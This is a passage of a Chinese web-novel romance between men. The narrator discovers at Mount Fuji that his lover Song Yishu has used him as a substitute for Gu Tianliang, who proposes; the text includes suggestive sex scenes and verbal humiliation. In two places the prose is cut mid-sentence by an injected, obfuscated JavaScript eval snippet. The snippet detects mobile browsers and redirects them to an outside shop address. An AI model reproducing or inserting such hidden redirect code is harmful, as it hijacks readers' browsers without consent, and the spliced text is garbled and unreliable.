宋逸舒会一点日文,我在旁边坐着听他们俩说话。宋逸舒笑得很温柔,脸颊红扑扑的,老板看到我很惊讶,捂着嘴说了会儿叽里咕噜的日语就走了。 我问:“他说什么?” 宋逸舒道:“问我你是谁,我说你是我未婚夫啊。” 方才那点心酸与自卑随着这句话淡去,我握住他手,他笑着靠在我肩上。 老板调的酒很好喝,他也很热情,这个时间点店里没多少客人,我们三个坐在一起聊天。 不过由于我不懂日语,英语也只能听个懵懂,多数时候都是听宋逸舒和老板聊。 清酒入肺,我没想到小日本的酒喝起来不辣,几杯下肚还有点晕,我不想扫宋逸舒跟同学相聚的兴,撑着头听他们聊天。 两人天南海北的聊,依稀间我听见一句:“Mr.Gu isn''t as dashing as before。” 宋逸舒盈盈一笑,我来不及思考这句话里的主语为什么是Gu,只听店里忽然热闹起来,中日英韩各种语言在耳边交替。 过了会儿,宋逸舒在我耳边说:“老公下雪了。” 我揉着太阳穴睁眼,见外面飘起了雪花,纷纷扬扬的雪花为这座寂静的城市添上几丝空旷。 半小时后,雪下大了,有点喝多的我和宋逸舒离开酒吧。 老板送了我们一把黑伞,我把伞身倾斜在宋逸舒那边,他挽着我手臂,步履轻盈。那间充斥着温暖和音乐的酒吧落在我们身后。 转过街角,灯光变得昏暗,人影全无,我一手一撑伞一手勾住宋逸舒腰身,在晦暗不明的阴影里低头吻住他唇瓣,舌尖不由分说撬开他的唇,勾住他舌尖抵弄。 我吻得又快又急,宋逸舒只能靠着墙壁垫脚仰头,热烈、激情的回应我,我们的嘴唇紧贴在一起,除了换气谁都不想分开,吸吮着彼此唇瓣的声音在雪夜里滋滋作响,那吞咽、叹谓的喘|息声,听起来露骨又色|情。 他脸颊绯红,有些脱力地抱住我背,打开我的伞,与我十指紧紧缠绕在一起。吻每加深一分,我们相合在彼此掌纹上的手就握紧一分。 我喝了不少酒,另只手在他大衣里摸索,我极具侵略吻他时,也恨不得把他揉进我怀里。 他被我吻得呼吸不匀,直到换气时他才哭笑不得地说:“你想明天被国际新闻报道,我俩在京都街头打野*然后被冻死吗?” 其实我也有点担心,要不是我俩今天穿得多,早就坦诚相待了。 我笑着抱紧他,将脸埋在他散发着清香的颈侧,跟狗一样不停嗅他身上的味道,同时结实的手臂用力将他怀里揉。 这样的力度和揉嗅使宋逸舒不得不揽住我肩膀,把脸埋在我敞开了的大衣胸膛前,慢慢平复那个因为热吻而带来的情动。 我们俩抱在一起许久,一个嗅一个埋着不动,直到雪在我头顶积了层,他才从我胸膛里冒出头,乱糟糟的墨发下是一张明艳动人的小脸,他仰着被闷红了的脸颊,笑着拍去我头和肩上的雪,说话时呵出一团白雾:“我们回去吧。” 我不禁情动,低头吻了吻他蕴着潋滟眸光的眼睛:“好。” 回去时我打了车,看到下车时的账单,腹诽这地方不大怎么打个车比北上广还贵。 回到酒店,我和宋逸舒的激情余韵还在,关上门就投入到了忘我的亲吻中。 我将他身上一件件衣物褪去,看着他肤白胜雪、通体如玉的身体,痴迷地吻他全身每处:“小舒,你真性感。” 他轻轻一笑,勾着我跌入了那方波光粼粼的温泉。 我们太熟悉彼此,借着水流很容易达到不可想的世界。 庭院里的枯山水承接着簌簌雪花,而我陷在了宋逸舒炽热、软嫩的温柔乡里。 等一切结束已是凌晨,雪还没停,在地上堆起薄薄一层。 宋逸舒裹着睡袍睡在我怀里,勾着我手指,眉目倦怠:“好漂亮的雪,让我想起在伦敦那年的平安夜,我们做完后也是这样躺在床上赏雪。” 我手探进他睡袍里,摩挲着他紧致窄细的腰身,轻轻地“嗯”了声。 就在我抱着宋逸舒睡得迷迷糊糊时,听到了敲门声。 我坐起来,疑惑道:“谁敲门?” 宋逸舒揉着惺忪的眼,如绸缎般的墨发顺滑垂落在肩,遮住小半张脸,他声音朦胧清澈:“开门看看,这家酒店安保很好的。” 我把木桌握在手里,站到门口问:“谁?” 门外静了会儿,答道:“我。” 听到这个声音,我整个人不由一怔,放下桌子打开门。 顾天良带着一身化了雪的湿意站在门口,锐利眉眼将穿着睡袍的我审视一番,我跟他差不多高,眼神自也不甘示弱地看回去。 顾天良冷漠地扫我一眼,移开视线。 宋逸舒赤着素白脚踝从裹着睡袍出来,柔顺漆亮的长发垂落在肩头,姿态慵懒,看到顾天良,嘟囔道:“不是上午十点到吗?” 顾天良越过我脱鞋进门,答道:“我改签了航班,打扰你没有?” “还好,才睡下,”宋逸舒摇摇头,对我说:“你去跟顾兴飞睡吧,他是双床房。” 我愣住,走廊扑进来的冷气冻得我睡袍跟纸一样单薄。我搓了搓指腹,企图留住两分钟前宋逸舒躺在我怀里的温暖。 可宋逸舒发话我不能不听,我低头换鞋时,两人说起话来。 “你晚饭吃了吗?” “没有。宝宝,把衣服给他,明天京都雪大,小心冷着。” “哦。” “衣服,”宋逸舒把我的衣服裤子抱给我,我平静地看着他,他秀眉微微一蹙,推着我出门,在我唇上亲了亲,撒娇道:“我忘啦。我以为他要明天才来,你这么好,先跟顾兴飞睡。等他走了,我们在玩。” “他什么时候走?”我抱紧这身属于我但又让我觉得愤然的皮囊。 “周天吧,我打算在这儿多玩几天。” “小舒,你想吃什么?”顾天良又在屋里喊,宋逸舒把我一推,关门前道:“我等会儿给你发消息,你让服务员送点吃的来。” 房间门被瞬间关上,我抱着衣服跟个傻逼似的站在门口,安静的走廊,护眼的灯光,我觉得自己有点可怜。 明明几个小时前,我还是宋逸舒最爱最喜欢的人,抱着他在雪地里接吻,在房间里相拥,不过几瞬间,在他那个初恋进门后,我就成了被扫地出门的人。 但幸好,宋逸舒给我留了面子,他应该是给顾兴飞打了电话,顾兴飞穿着睡袍出来开门,看我穿着睡袍,抱着衣服,跟奸夫一样,狼狈不堪,登时嘲笑起来。 我按照宋逸舒发来的消息给前台打电话订餐,嘱咐他们做宋逸舒那份乌冬面时清淡点,不要葱,至于顾天良吃的那份,加辣! 顾兴飞好笑地看着我:“我以为你爬了宋总的床,他又带你出门,你会有什么特别待遇,没想到这正室一来,你就要让路。” 我躺在另张床上,关了床头灯,说:“跟你有什么事?” 顾兴飞偏了点头,轻蔑地打量我一会儿后说:“我发现一件事。” 我闭上眼睛:“说。” “你没发现你跟他长得有点像吗?” 我猛的睁开眼睛,看向一脸得意的顾兴飞:“谁?” 顾兴飞指了指传出喘|息身的隔壁房间:“他啊。” 宋逸舒细微的呻|吟和小着声说‘不要了,讨厌’的绵绵情意落在我耳朵里格外心酸,我忽略那点撞击声,说:“不觉得。” 我当然不会注意这些,甚至说这么多年了,我从来没有注意过顾天良长什么样,就算是初中、高中我对他也只有不屑。 陪读的时候,他已经和宋逸舒分手,我不知道,现在…… 更不可能,我没怎么注意过他的长相,只知道长得特别舔狗,跟我一样。 像吗? 我打开手机前置摄像头,把自己长相和他长相重叠,觉得没什么像的。 而且就算像,我和宋逸舒初中就认识,他和顾天良初三才认识,真说像也是他像我,他是我的替身。 翌日,下了一夜的京都雪已经停了,但酒店屋檐和长廊已积了层薄雪。 我去健身房锻炼了一小时,回房间洗了澡,吃完早饭跟国内同事沟通工作时,顾兴飞才爬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17298768|198120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来,没多久宋逸舒发消息问我起来没有。 我回:【起来了。】 宋逸舒:【出门,我们去玩o(*≥▽≤)ッ~】 说是出门玩,但四个人一起算怎么回事? 这样诡异和谐的画面让我想起,日本经济泡沫的时候,美女出行都有四个男伴,我如果算两个,那宋逸舒也有四个男伴了。 京都飘了雪,天冷但宋逸舒兴致却很高。他裹得厚,白色大衣恍映得他肌肤如初雪一般,头戴一顶毛茸茸的貂帽,围着围巾,乌发红唇,容色姝丽,步履轻盈地行走在雪地里,遥遥一眼便让人无法忘怀。 我们四个人沿途游玩,宋逸舒和顾天良亲密的像情侣,而我和顾兴飞的表情像老婆被人抢了,但又抢不回来的窝囊感。 顾家俩兄弟话不多,我也偏向于沉默,宋逸舒平日也是个较为安静的人,遇到好玩的好看的,跟我说说,或是跟顾天良玩笑。 顾兴飞? 他属于拿行李的一类,门童不需要说话的。 我们四个人居然就以这样诡异而又和谐的画面过了一整天。 又在京都住了一晚后,第二天我们起来吃了个午饭,便辗转高铁加商务车在花近四个小时后,终于到了富士山下。 宋逸舒下商务车时不禁吐槽了一句:“这么小个岛,坐车还麻烦得很。” 我嘴角微微抽搐,提着行李说:“寿星消消气。” 他双手环胸,哼了一声:“早知道去新加坡了。” 顾兴飞道:“宋总,咱们现在改飞新加坡也可以。” 他瞥了眼顾兴飞,优雅地扭头离开。 顾兴飞有些悻悻,问我:“你知道为什么来这儿吗?” 我道:“看富士山啊,小舒喜欢富士山下这首歌。” 顾兴飞有些可怜地看了我一眼。 今日也是幸运,天光晴好,暖阳高照,盖了白雪顶的富士山在蔚蓝长空下巍峨耸立。到酒店放完行李后,顾天良有工作处理,宋逸舒便带着我出门散步。 依旧的,他挽着我手臂在河口湖边慢慢走着。 一群天鹅在湖面嬉戏,翅膀凫水时的振动,使倒映在湖面的富士山泛起圈圈涟漪。 湖风袭来,有些吹乱宋逸舒簪好的头发,他索性拔了簪子,晃了晃满头青丝,白如葱根的手指将簪子递给我,说:“重新簪。” 我接了木簪子,拿出消毒湿巾把两只手消毒擦干净,手指插进他浓密顺滑的发丝里,先梳顺,而后拿出随手携带在包里的梳子替他梳头发。 宋逸舒眯着眼看不远处的富士山,轻声道:“初三那年,想让你陪我来这儿玩,你都没来。” 我道:“当时马上期末考了,走不开。” 那年宋逸舒和顾天良来玩了好几天,我在空间看到两人牵手的照片,惆怅了许久,可再多惆怅也在我爸被债主逼的求饶和我妈咳嗽声中回归现实。 木簪稳稳簪住他的长发,他转身,肤色白如初雪,红唇欲滴,乌黑浓密的睫毛盛着金光,眸色偏棕的眸子映出我的模样。 背靠千年不变的雪山,宋逸舒清冷、平静的目光像一汪水,缠着我又陷入那自卑、贫穷的少年时期。 “你借口好多,不过也没事,”他流畅下颌融在白绒围巾里,说话时的唇风轻轻吹动绒毛,“当年我想带你来的愿望,在今天终于实现了。” 他的话像一双手,拉着我出了水潭。 那首熟悉的钢琴前奏似乎又在耳边响起,我埋在心里的酸涩心事随他的这句话顺着风飘到天际,直至消失。 宋逸舒饶有兴致地看着我说:“你需要餐巾纸吗?” 我抹了抹眼睛,抱住他,说:“不需要。我有你就够了,当年对不起。” 他笑了笑,说:“有人在放富士山下。” 我恍然大悟:“难怪刚刚听到钢琴前奏了。” 几位旅游的游客在湖边放着富士山下,陈奕迅浓厚磁性的嗓音仿佛为我和宋逸舒的青春画上了一个句号。 我知道,他是爱我的。 只是他高傲、矜持,需要我一步步走近他,靠近他。 我趁从包里拿出那枚胸针,笑道:“小舒,生日快乐。” 他说:“哟,还有礼物呢。” 他打开一看,笑意嫣然:“这么贵的礼物,下次别买了。你兜里钱还是留着还房贷吧。” 我知道比起他以往收到的生日礼物,这枚胸针不算什么,不过这已经是我能拿出来的全部了。 “你喜欢它就不贵。” “给我别上。” 蓝宝石胸针落在他的白色大衣上,纯洁美好,他细长手指抚摸着上面的光纹,沉思须臾,喃喃一句:“我突然有点后悔了。” 我问:“后悔什么?” 他抬头,柔和目光含着盈盈笑意:“后悔当年不应该带你去教学楼的,你要是多读点书,肯定能给我买更好的礼物,说不定现在事业有成呢。” 我整个人僵了僵,突然有些无所适从,摸摸他脸颊,道:“都过去了,就算事业有成,我也只是你的。” 宋逸舒嘴角微微勾起,挽着我手臂继续散步。 我们在落了雪的富士山前拍了张合照,照片里宋逸舒亲昵地挽着我手臂,我另只手牵着他。金影和雪色为我们披上了一层名为爱情的外衣,只要我们在一起,没有旁人,就只是彼此的唯一。 宋逸舒今年生日过的很平静,依他自己的话来说,还没整寿不用过的那么喜庆,不然按照往年的例子,他得叫上一帮公子哥彻夜狂欢。 吃完晚饭,宋逸舒和顾天良到公园岸边看篝火晚会,听说这是酒店特意安排的,甚至安排了歌手唱富士山下。 我站在一边看宋逸舒和顾天良相谈甚欢,不觉得有多难受,左右那枚我送出的胸针别自始至终别在宋逸舒胸口。 八点整,灯火璀璨的河边蹿起颗颗快如流星的星子,星子带着尾巴在夜空中骤然炸开。 砰——砰——砰—— 我抬头,看到天际尽头,数朵千颜万色的烟花正在怒放。 绚丽火光照亮了沉睡在大地上的富士山,金色火焰从花蕊中炸开,一只鸣啼的凤凰拖着细长尾羽向四面八方铺展。 每根羽毛成了熔金色,后蹿上空的烟花犹如苍穹宇宙,铺在凤凰身后,凤凰在夜空中展翅高飞,倒映出河口湖面,也映出了隐藏在朦胧夜色里的富士山。 富士山的雪顶仿佛凤凰衔在口中的宝石,亮着宋逸舒名字的烟花升上夜空,让凤凰退去夜空,属于宋逸舒的生肖,一只绵软可爱的兔子出现在绚丽长空。 兔子悠然嚼草,一只猛虎下山预备扑到它时,整个草地忽然播放起宋逸舒最爱的那首巴赫曲子。 舒缓乐曲代替了富士山下,天际的蓝色烟花还在绽放。 在悠扬曲调和烟花声里,顾天良朝宋逸舒单膝下跪,掌心捧着一枚戒指,真诚恳求道:“逸舒,我们结婚吧。” 宋逸舒站在湖边,如流星照耀漫天的烟花映着他俊美的侧脸,他看了眼戒指,又用余光看向我。 这片草地只有我们四个人,顾天良没有给宋逸舒任何压力,可我还是觉得,他看向我的那一眼,让我背负了无数压力。 我多么希望宋逸舒不要答应,可响在天空的烟花又让我明白一个事实。 如果他跟我在一起,这场烟花我攒十年都放不起。 宋逸舒看了我几秒,收回视线,朝顾天良笑:“好。” “公主就是得跟王子在一起是吧?”顾兴飞说。 我僵硬地点头,看着那对在璀璨烟花下接吻的爱人,藏匿在血液里的爱像是要撕碎皮肉,从身体里逃出来,把顾天良踹到湖里,取代他成为那个跟宋逸舒在一起的人。 可惜…… 我不是王子,甚至连骑士都算不上,谁家骑士只有初中学历? “他们俩这对青梅竹马总算修成正果了。”顾兴飞端着酒杯,风轻云淡地说。 我闷了口酒,淡淡道:“不算青梅竹马吧,认识的时候都是十五了。” 顾兴飞以一种疑惑的眼神看我,我不屑地看回去。 他笑了笑:“你不知道吗?” 我:“???” “我们两家是世交,逸舒跟顾天良是一块长大的,只是后来宋伯伯的生意搬到了海城,逸舒有点公主脾气,他们闹矛盾分开了一年多。” 我耳边是轰隆隆炸开的烟花,呼进鼻子里的风像是刀片,割得我有点疼。 顾兴飞悠然自得地摇晃着酒杯,说:“我初中就去了新加坡,这对青梅竹马中的事我了解的也不多,只听说逸舒初中那年转到新学校,认识了一个跟顾天良长得很像的同学。像顾天良这种富二代你也知道,脾气总有点傲,不像那个家里穷的叮当的同学,什么舔狗、没尊严的事都做得出来,逸舒估计也是一时新鲜,赏面子把他当顾天良对待吧。他到底是喜欢顾天良多一些,否则这些年怎么找的男朋友多多少少都像他呢?” 他越说,我的心就越紧,直到最后他说:“听说逸舒当初还跟顾天良打赌,赌……” 我怔怔地看着他,他好似没有看到,缓缓道:“赌那个穷光蛋知道他们在一起后,会不会继续当舔狗。你猜那个穷光蛋是怎么样的?” 我喉间涌起一阵血腥味,少年时期宋逸舒对我所有的温情和好意都变成了碎刀子扎在我心里。原来他一开始对我好,说把我当做好的朋友,只是因为我跟顾天良长得很像? 只是因为他身边没有顾天良舔他,所以看中了我这个跟顾天良像几分,又甘愿为他鞍前马后的普通人吗? 我们之间的感情居然是他和顾天良的赌约。 那我们这么多年的感情算什么?他每次笑着说爱我也只是因为顾天良吗?或者说他从来没有喜欢过我,只是随口一说。 而我却当了真。 心脏被不知名的痛楚源源不断挤压,我艰难地开口:“我知道,还是继续呗。因为我就是那个穷光蛋,我都不知道他们两个从小就认识。” 顾兴飞同情地看了我一眼,安慰似的拍拍我肩:“我不知道你是配角,不小心说多了。逸舒就是有点公主脾气,顾天良不在他身边,他就寂寞得想找个东西打发打发时间,其实顾天良也挺感谢你一直照顾逸舒,不过我看他们都要结婚了,你也没必要待着了。你能力不错,要是愿意,顾家在别的城市有更好的职位可以给你。” 我长吁一口气,说:“你在替顾天良说话,赶我走是吗?” 顾兴飞耸了耸肩:“我只是不想我哥的婚姻有一个如此不堪的第三者,别人玩第三者都是明星、模特、各种冠军,逸舒虽然也玩过。但我实在不想你这样的人陪在他身边,哪怕是做小三。” 他们三个都是无与伦比的天之骄子,我认得清现实,可只要宋逸舒没有说话,我是不会走的。 他今天下午那么认真地跟我说,说他终于带我来了他少年时就想带我来的地方,怎么可能不爱我。 我放下酒杯痛心离去。 11.第 11 章 我沿着河山湖走了许久,回顾了许多宋逸舒对我的爱,我不信他对我没感情,可在知道宋逸舒要结婚,我被他当作顾天良替身的时候,我又感觉很难受。 我像一个毫无人格的东西,随着宋逸舒的主观意识走,他去哪儿我去哪儿,他不结婚我陪他上床,他结婚了我还要陪他上床。 望着烟花消尽后的湖面,我扇了自己一巴掌,在心里骂道:他一定喜欢我,不然怎么会让我跟他这么多年。顾兴飞这傻逼,挑拨我跟他的关系,顾家人真丧尽天良。 回酒店路上,我发现手机没电了,莫名有点慌,宋逸舒要是发现我不接电话肯定会生气的。 我几乎是以百米冲刺的速度跑回酒店,找前台借了个充电宝,先去了他房间。 刷卡开门,宋逸舒不在,我要出去时,门锁被房卡刷开,紧接着顾天良和宋逸舒的对话声传进来。 “这傻逼又去哪儿了?老子找到非把他丢湖里去。” “你什么时候让他离开?宝宝,我已经容忍他很久了。” 我躲到阳台后,透过反光的阳台玻璃看清屋内前景。 宋逸舒脱下白色大衣,顾天良跟在他后面收拾。 他扯了扯毛衣领子,说:“都忍了这么多年,你再忍忍呗。我现在还不想甩了他,等我玩腻了再说。” 顾天良把衣服挂到玄关,说:“看他对你的痴情模样,怕是不好甩吧?” 宋逸舒露出一个笑:“呵……他还不好甩?就他那没用的样,随便找个理由都能甩了他。” 听到这些话,我的心像是被一只大手狠狠掐住,痛得不行。 我深吸一口气,平复好心情,想着顾兴飞的话开始观察顾天良,发现我们只像三分轮廓和身型,其余的则各找各妈,哪里像了。 顾天良按住宋逸舒肩,徐徐道:“小舒,我说了你怎么玩都可以,可这个人也……太掉你价了。这么多年,他一无是处,你不能因为他长得有点像我就一度容忍吧?” 宋逸舒抱住顾天良,把脸埋在他肩头,说:“你要是像他那样听话,我怎么会找他?说来说去也怪你,不然我当年干嘛带他出国。怪你怪你都怪你。” 顾天良道:“对不起,宝宝。我们不要再纠结这些事了,你让他离开,我们以后不吵了。” 这样撒娇和温柔的语气,宋逸舒鲜少对我有。 而宋逸舒那些看似埋怨顾天良的话却像针一样扎进我心里,原来他当年并不是看我可怜,看我没钱想给我一份工作,而是顾天良不在,单纯地想把我骗到身边。 难怪,难怪我们第一次睡觉那晚,他意识不清时,叫的都是这个跟他无比匹配的人。 顾兴飞说的话,在我耳边回荡,我觉得我身体的每寸肌肉都在不由自主地抽搐、颤抖,心里好像压着一块大石头,堵得我喘不上来气。 屋里人互诉衷肠时,我充了电的手机好死不死响起,突兀的手机铃声在室内格外刺耳。 赶在顾天良过来抓奸前,我自己站出来,像个小丑般出现在这对即将结婚的新人面前。 宋逸舒看到我,很是生气:“你死哪儿去了?我给你打了四五个电话都不接!” 我说:“我去湖边走了走。” 他道:“你神经病啊去湖边走,怎么不掉下去淹死你?我一回头你就不在了。” 这样的话在以前我觉得是他关心我,现在我只觉他在质问我为什么不在他的管控范围内。 我用尽全部力气说:“小舒,我有话想问你。” 宋逸舒双手环胸,蹙眉道:“说。” 顾天良岿然不动,宋逸舒烦道:“天良你先出去吧。” 顾天良看了我一眼带门离开。 我跟宋逸舒对视,那句你有没有喜欢过我的话,始终问不出口,最终还是他忍不住,上前摸我在屋外有点冻红的手:“你去湖边做什么?我找了你好久。” 我心如刀绞,看着他如玉似的指节握着我粗糙黝黑的手,苦涩一笑:“我就去走走。”在心里念了几下后,还是问出了那句话:“小舒,你是不是把我当作顾天良的替身?一个他不在,我就替他给你打发时间的工具?” 宋逸舒闻言脸色骤变,迅速抽回手,淡淡道:“我刚刚跟他说的气话,谁让你到处乱跑?你语言不通,身上还没几个钱,冻死在外面,我给你收尸啊?” 我为他的逃避感到一丝心疼,也就是这抹心疼让我压抑在心里的情绪终于宣泄出来:“逸舒,你为什么表现出一副关心我爱我的样子,可转头能跟别人结婚、睡觉,这么多年,我不明白。” 宋逸舒惊讶地看我,显然是没想到我会问这些,有些气道:“停!我跟你说了,我跟谁结婚,我们俩的关系都是不变的。我就想你在我身边一辈子,这个要求很难做到吗?你知道为了让你留在我身边,我找了多少气量大还要看你顺眼的男朋友?” 我居然从这段话里听出了他为我做的牺牲,痛苦道:“我可以做到这个要求,但你能不能不要玩弄我了。你一边让我留下,一边跟顾天良说要把我甩掉。”我抓住他的手臂,近乎哀求地问:“小舒,那你告诉我个明白吧,你有没有喜欢过我?” 以往那些情情爱爱的撒娇话远比不上现在我问他的话,他美目敛怒地看着我,高傲地抬着下巴:“没有。行了吗?你高兴这个答案了吗?我一直都把你当作顾天良的替身,满意了吧?一直问问问,你是个什么东西啊,配问我这些?撒泡尿照照,你拿什么跟顾天良比?” 我觉得天地都在旋转,脚步有些不稳。 他一把挣开我的手,一下子也生气了,怒道:“今天晚上我找了你一个小时,就差点去保安室翻监控了,你乱跑什么啊!非得在我生日的时候做这些扫兴事,你脑子里装的都是情情爱爱吗?你不是答应过我吗?这辈子都会听我的话,永远不会离开我的,你现在质问我是什么意思!我不喜欢你就要走是吗?” 我绝望地看着他,开口时声音都紧得发哑:“我不想离开你,可我没想到这么多年我只是顾天良的替身,你以前说的那些话都不是给我听的。” 他说:“不然呢?你想跟我结婚吗?” 我反问:“不可以这样想吗?” 这话说出口,我有点愣住,他好像也惊了。 虽然我们在浓情蜜意的时候也叫过老公老婆,但要真的面对这层来自社会层面的关系。 我一下子又害怕了。 害怕一无是处的自己给宋逸舒丢脸,他从小就是天之骄子,容貌、能力、学历、教养都是我无法企及的高度,要不是小时候做过同桌,我这辈子把书读烂了,说不定也够不到他。 宋逸舒忽然哈哈哈大笑起来,他那头秀亮的长发在灯光下如光华闪动,“你算个什么东西啊?大晚上做白日梦?你有几个钱养我?今天那场烟花秀七百多万,你打多久的工能给我放?你只会……”他越说越气,也觉得荒唐和被冒犯,怒气冲冲地走到玄关处,取下我为他亲手别上的胸针,拿在手里说:“你个穷光蛋,只会买这种便宜货色给我当生日礼物!这种便宜货连我家垃圾桶都不配进!” 看着我付出真心买的礼物成了那么微不足道的东西,一瞬间耻辱和羞愧将我淹没。 宋逸舒几大步走到阳台边,用力地将胸针扔了出去,转身对我骂道:“我给你吃给你喝,带你出国,就要你陪着我听我的话,你这么难做到吗?都说人穷志短,你还反过来啊,现在跟我要名分要志气。你要真有志气,当年干嘛跟我走?继续在你的破酒吧里当狗呗,别忘了,你能出国是我带你去的!要是没有我,你能混成今天这样吗?你真有志气,当年还能不要脸的跟我啊!” 他大声地质问着我,一句一字都说到了我的心里,我浑身发寒,看他因为生气,白皙脸颊气得绯红,几根发丝贴在脸上,有一种愤然、怒碎的恨美。 我深吸一口气,慢慢拾起被宋逸舒踩碎的自尊,疲惫道:“我很感谢你当年带我出国,小舒,你是不是让我想给你当一辈子的助理?当一辈子顾天良的替身?” 宋逸舒抬了抬下巴,盈盈目光恍如秋水平静: “不然呢?!你没文化、没能力,做我助理都是看得起你。你知道外面有多少人想要这份工作吗?姓吕的,做人不要太贪心,当年我让你跟我出国留学,是你自己不愿意去的。这一切是你咎由自取。” 我双手捂脸,胡乱揩去眼角的水,艰难、反复地确定答案:“所以你只是把我当顾天良的替身?” 他烦躁地挥手:“你觉得委屈是吗?好啊,那你滚。” 我眼前黑了几秒,再睁眼时,眼眶酸涩得紧,沙哑着声音问:“这么多年,你对我没有一点感情?” 宋逸舒情绪来的快也去的快,重新扬起的笑容很是纯真:“有呀,你比顾天良舔狗多了,每次我玩你都觉得是在玩顾天良。我也想多留你的,但你太自作多情了。现在他回来了,我不想他因为你跟我吵架,所以你这个替代品能理解我的对吗?” 鼓起所有勇气问的答案在这个夜晚破碎,连同我的真心和自尊,我强撑着最后的体面点点头,苦涩开口:“嗯。我明白。” 我拖着沉重步子离开,宋逸舒在我后面说:“明早顾兴飞会送你走的。” 屋里喧嚣归于平静,宋逸舒也不知道这人怎么突然开始问这个,只觉得可笑,一个一无是处的人,难道还想跟他拥有天长地久、光明正大的感情吗? 就算他同意,家里人也不会同意的,一个初中学历的人,跟他在一起太掉价、太丢脸了。 他本来都想好了,跟顾天良结婚后,大不了送姓吕的一套房子弥补一下,只要他还像以前那样听自己话,好好伺候自己,他不会太无情。 可偏偏、偏偏非要问,非要问自己有没有喜欢过他?这不是可笑吗?他怎么会喜欢这种人呢。 宋逸舒烦闷得很,叫酒店送来一堆酒,自顾自喝起来。 顾天良接完工作电话,进门看宋逸舒喝这么多,有些担心,奈何宋逸舒现在烦得要死,说与其安慰他不如闭嘴陪他喝。 宋逸舒靠在顾天良怀里喝着闷酒,两人有时接吻,有时聊几句结婚的事,闭口不提那个助理,没喝半小时,顾天良又有跨国会议。 宋逸舒眯着醉意朦胧的眼睛,说:“你怎么这么多事,出来玩还要工作。” 顾天良道:“工作才有钱嘛,宝宝我接一下。” 宋逸舒摆手道:“滚出去接,不然吵。” 顾天良低头,宋逸舒偏头,两人接了个缠绵的吻他才匆匆离开房间。 宋逸舒躺在沙发上,墨发染着金光垂在地上,酒晕酡红爬上脸颊,衬得他白肤透粉,慵懒风流。 他喝了杯酒,叫来酒店经理,取了手腕上的钻石名表,往茶几上一丢,吩咐道:“草坪上有枚胸针,谁捡回来这表就谁的。” 经理拿着表点头哈腰地出来,转头恨不得开着大灯让服务员找。 宋逸舒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308304|198120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心情烦闷,又喝了几杯,他不止心情闷,心里也燥,想找顾天良泄火时,一个人影刷卡开门信然走到他面前。 宋逸舒撩了把长发,好整以暇道:“你来干嘛?” 顾兴飞绅士得不行,坐到宋逸舒边上,把他吊在沙发外的腿放在腿上,笑道:“看你心情不好,来陪你喝几杯。” 宋逸舒笑了笑。 当他不知道吗?他今天晚上被姓吕的闹,肯定是顾兴飞干的,他都有点后悔在香港怎么就脑子发昏把他睡了,怎么都甩不掉。 正好人来了,宋逸舒那股子火蹿蹿冒,也懒得去找别人,顾家兄弟,他睡谁不是睡,于是噙了口酒揽着顾兴飞肩吻了上去。 我浑浑噩噩出门后,把充电宝还给前台。 在酒店门口,我扶着门,摇摇晃晃险些站不稳,心想这一切结束了吗? 我跟宋逸舒这么多年的感情这样没了? 我不断问自己,可脑海里又有一个很小很微弱的声音在反驳。 小舒不会抛弃你的,你们认识十年,在一起四年多,同床共枕几百个日夜,已经相处的跟情侣家人一样,你们不会因为这个事情一下子结束的。 我从来没有跟宋逸舒吵过架,我甚至有点后悔问他那些事。 离开宋逸舒,等回到海城,他一定把我当陌生人,那种陌生感觉比杀了我还难受,我真要离开他?离开这个我喜欢了十多年,照顾、呵护了十多年的宋逸舒? 一想到我以后再也无法拥抱、亲吻、触摸到他,我就难受得要命,我的人生离不开宋逸舒,就像他说的,我人穷志短,就像一条狗怎么驱赶都无法离开他! 我过不了没有宋逸舒的生活,我的人生已经跟他的缝在一起,怎么都分不开了。 如果我现在去找他道歉,跟他说我不是要问这些,求求他不要让我走、让我离开,我以后再也不问这些,他会不会消气? 他还说他在外面找了我一个小时,外面这么冷,他会不会感冒? 望着茫茫夜色,我挪不开脚步,我真的要从这里离开吗? 不——! 我不要离开他,今晚都是我的错,怎么能在逸舒生日这天问这种话,我真是太蠢了。 我用尽全部力气呼吸了几口气,才勉强撑起身体,朝宋逸舒房间走去。 回房间时,看到经理跟十来个服务员打着灯神色匆忙往屋外走,不知要做什么。 走到宋逸舒房间门口,要刷卡时听到里面传出的声音。男人喘着气不断喊着嫂子,宋逸舒抑制不住的呻.吟让我怔在原地。 拿着房卡的手不住颤抖,我僵在原地,最终握着把手跌到地上,我没有勇气打开这扇门。 我是来道歉的,如果打开这扇门,面对宋逸舒又一次跟别的男人风流,我要怎么样?当作无事发生,还是像个小丑继续质问,你怎么又在出轨吗? 你道德底线怎么那么低,你不是爱顾天良吗?怎么还背着他出轨?宋逸舒你到底喜欢谁! 我早就该明白的,宋逸舒就是个花心种子风流人,他永远不会为一个人收心,不管对方是顾天良还是他交往过的各种精英男友,他只享受那种欲.仙欲.死的疯狂和来自精神世界的刺激。 我抬头看了看四周,没什么人,还好没有人瞧见我的狼狈。 我摇摇晃晃站起身,忽略房里传出的淫靡声音,怀着沉重的心打开手机搜索怎么回国。 要进电梯时,一个服务员过来,用把手机的一行字给我看,上面显示顾天良要见我。 酒店草坪上,顾天良姿态随意地坐在椅子上抽烟,我收好心情去面对这个曾经的初中、高中同学、以后的宋逸舒老公。 